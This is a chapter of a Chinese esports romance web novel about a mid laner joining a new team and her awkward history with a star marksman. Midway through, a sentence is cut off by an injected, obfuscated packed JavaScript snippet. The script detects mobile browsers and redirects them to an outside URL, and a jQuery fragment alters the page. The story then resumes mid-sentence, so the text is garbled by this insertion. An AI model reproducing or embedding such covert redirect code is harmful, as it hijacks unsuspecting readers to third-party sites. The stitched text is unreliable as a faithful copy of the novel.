06
【凛冬:[微笑jpg.]】
群里瞬间安静了,但也只是一会。
【夏深:太好了我们完蛋了,完全忘了正主还在这个群惹】
【凛冬:难道你们还有别的群?[怒jpg.]】
【晴朗:我发誓只有这一个】
程知簌正要继续输出,手指飞快点击字母,夏深又发了一句语音过来——
【夏深:那个我再说一句啊,降临在直播间说你们不熟诶,真的假的?看前几天他那架势不像啊】
语气带着明显的幸灾乐祸。
程知簌的房间在基地一楼走廊尽头的拐角处,信号多数时间只有两格,各种信息加载也总是慢半拍。
夏深说话的时候,她平板里正同步播放的直播间里,周叙临的声音分秒不差地响起,两个字正好重合——“不熟”。
偏偏就是这么巧,程知簌想。
命运总爱捉弄别人,让人牢记想忘却的,让人忘却想牢记的。
平板屏幕上,少年脸上的光线虽然不充足,但依旧能看出分明的轮廓。
他正垂眼看手机,左眼皮尾部露出的那颗小小的痣随着他眨眼的动作微动,像是天上一闪一闪的碎星。
程知簌看得有些出神,拇指无意识地摩挲着手机壳边缘,竟不知群里又多了几条消息——
【夏深:我去,有人问他对你什么想法,他直接闭麦了】
【夏深:这谁信你俩没什么啊】
【逢春:我信】
逢春是战队的射手,打发育路,和周叙临是完全不一样的性格,高冷,不太爱说话,存在感极低。
他突然插这么一句,程知簌确实没想到。
【夏深:又有你事了】
【夏深:我去,降临一直没开麦,现在连摄像头都关了】
【夏深:巅峰半天进不去,直播间想聊点游戏都不行,气氛巨吓人】
程知簌看着群聊的信息不断刷新,不知道自己在想什么。
周叙临直播时说的那句“不熟”一直在她胸口转,有种很钝的闷感。
像一颗胶囊卡在食道里,怎么咽都咽不下去,怎么咳都咳不出来,只能等食道的温度将外壳融化,里头的苦缓慢地渗出来,从喉咙蔓延到舌根,从舌根扩散到整个口腔。
程知簌告诉自己,周叙临说得没错,他们本来就不熟。
一个是正处巅峰期的四冠射手,一个是出身于外卡战队的中单,能有什么交集?
他主动和他撇清关系,她不应该感到高兴吗?
程知簌面无表情地关上平板,拿起手机转身走出房间。
训练室在另一栋楼,离她的房间距离是最远的。
程知簌和逢春明天需要早起赶高铁去上海参加明晚的抽签大会——问就是战队资金有限,早一天去就要多掏一天的酒店钱,且他们两人也不能住同一间房,所以今天的训练赛结束得比较早。
经理把行程单私发给她时,还特地补了句“队内资金紧张,能省则省”。
其他几位选手锻炼的锻炼,吃宵夜的吃宵夜,只有逢春还在训练室打巅峰赛。
程知簌推门进来的时候,久违地在这个向来冷漠寡言的男人脸上看见了惊讶的表情。
不是那种很夸张的瞪眼,逢春不会做那么大的动作,只是眼睛很明显地亮了一下,整个人短暂地慢了半拍。
程知簌不是腼腆内向的性格,很自然地抬了抬下巴,跟逢春打招呼。
“在打巅峰赛?”她问。
逢春回过神来,虽然很快闭麦,但直播间还是听到了程知簌的声音。
【?】
【我怎么听到了女人的声音】
【不可能,他们基地连只母蚊子都没有】
【谈恋爱了?】
【不要啊,我养了那么久的白菜】
【春宝可是王者荣耀梦男,他会对女生感兴趣?】
【我能想象春宝和女生说话第一句会是“你巅峰分多少”……所以pass!】
游戏正好结束,逢春点掉水晶,对弹幕说:“呃,是工作人员,经理找我有点事,先下播了,晚安。”
撒谎不太熟练,关掉直播的动作却很利落迅速,让弹幕都还没来得及刷问号。
程知簌还站在原地不敢动,生怕出镜,用气音问他:“在直播?是不是打扰你了?”
“没事。”逢春取下耳机放在桌上,这才抬头看她:“刚好也要下播了。”
程知簌拍拍胸口,在逢春身边坐下,恢复正常音量:“差点就暴露了。”
毕竟她现在正处于风口浪尖上,Dawn那些乱七八糟的事情还缠着她。转会流程虽然已经走完,但在West正式官宣前,还是能少一事是一事吧。
逢春看着她的动作,目光在她的唇部停留片刻,又往上移,问了句没头没尾的话:“你不希望他们知道你在我身边?”
程知簌奇怪地看他一眼:“还没官宣啊。”
“该知道的也都知道了。”逢春拿起放在桌上的手机划拉两下,“超话已经有人发了。”
他调出West战队超话,将手机屏幕展示在程知簌面前。
程知簌本来是没想看不熟悉的人的手机的,但逢春都快把手机怼她脸上了,她也只好低头去看。
早在酒巡退役会当天就有人发帖,称West要引进一位冠军中单,至于是什么冠军先别管,有冠就是了。
帖主卖了半天关子,洋洋洒洒列了一堆没什么关系的数据对比和转会动向分析,直到今天闹出热搜后才说这个“冠军中单”就是Dawn战队的凛冬。
只是退役会之前酒巡三令五申不许录像,这才没有视频流出。
她想,酒巡还是不够了解现在人想吃瓜的心理,不然得再加一句“从踏入酒店那一刻开始不能录像”,让她也避免被偷|拍发到网上的倒霉遭遇。
逢春不动声色地观察程知簌的表情。
他的目光不是那种直勾勾盯着人的打量,更像是不经意地一瞥,又很快略过。
见程知簌没有太大反应,逢春又才补上一句:“明天公布大名单,早晚知道都一样。”
程知簌想,逢春不愧是酒巡一手调|教出来的人。
从青训到二队,他们虽然都是中单没有同台登场的机会,但确实亦师亦友,连脑回路都一模一样。
区别在于酒巡是个妥妥的碎嘴子,而逢春显然只继承了内核没在意表面。
只可惜教练发掘出了逢春在发育路的天赋,酒巡对他抱着的“重铸中路荣光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496339|202522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”的希望也没了。
也不知道酒巡在决定联系她这个新中单的时候,心里会是什么滋味。
程知簌朝逢春笑笑,敷衍地说了句“也是”,将电竞椅挪回自己的位置。
“你要打游戏吗?”逢春又问。
程知簌想,不是都说逢春孤僻内敛不爱说话吗?怎么在她这像完全反过来了一样。
她说:“对。”
逢春似乎察觉不到程知簌语气里的疏离——又或者是察觉到了却不在意,继续说:“要双排吗?教练让我们这段时间练练配合。”
有这回事?
程知簌在脑子里搜刮了一圈,没想出教练什么时候交代过这个。
她没打算深究,拒绝的理由现成就有:“不了吧,我们明天还要去抽签大会没什么时间。今天周六了,我还差几十分拿千强和闪电框。”
闪电框是游戏加载界面的英雄框,只有巅峰万强以内的玩家可以获得,每周一结算,右上角还会展示排名。
在职业圈里这东西说重要也重要——算是高手玩家的认证。说不重要也不重要,毕竟比赛看的是团队成绩又不是巅峰分数,巅峰分再高没有冠军也只会被群嘲。
但程知簌刚加入新战队,头上还顶着“外卡战队”的标签,总想在其他地方证明些什么。
逢春若有所思:“你很喜欢巅峰赛?”
程知簌没懂他为什么会把这两件事联系在一起,拿闪电框跟她喜不喜欢巅峰赛之间有什么必然的联系吗?
“啊?也……没有吧。”
不过她倒是知道有一个人素来有“巅峰公务员”的美称。
但本人对此事不太乐意的——
“巅峰公务员?”周叙临将训练机放在支架,身体靠在电竞椅上。
他一条腿踩在椅子边缘,手肘撑在膝盖上,托着下巴。
他另一只手握着手机,漫不经心地回复经理,和弹幕说话的时候语气懒洋洋地:“真看得起我,我喜欢。”
高分段排队的时长确实折磨人,屏幕中|央的计时器已经跳到了十二分钟,特效的炫光一圈圈转着,看得人心烦。
周叙临没看弹幕。
放在桌上的手机屏幕还亮着,微信图标右上角小红点的数字还在涨。
但他没有点进去,只是垂着眼睛,大拇指指腹无意识摩|擦着脸颊。
“叮——”一声,巅峰赛终于排进去了,突如其来的音效拉回周叙临的思绪。
他慢条斯理地指挥队友禁掉几个超标英雄,左眼皮那颗小小的痣在他眼皮间若隐若现,像凛冬降临时极夜里闪亮的星。
*
程知簌没跟逢春双排。
她给训练机连上蓝牙,点开巅峰赛开始匹配。
训练室里一时安静得只剩下逢春偶尔敲击键盘的声音。
程知簌的座位在他右手边,瞥眼看发现他似乎是和谁在微信聊天。
他的键盘声音清脆,节奏不紧不慢,像雨滴砸在玻璃上。
程知簌默默听了一会,莫名觉得这声音和周叙临敲键盘的时候很像——是他们初中偷跑去网吧玩英雄联盟的时候,两人配合默契,不需要说话都能知道彼此的想法是什么。
她被自己突如其来的回忆烦到,伸手将游戏音量调大。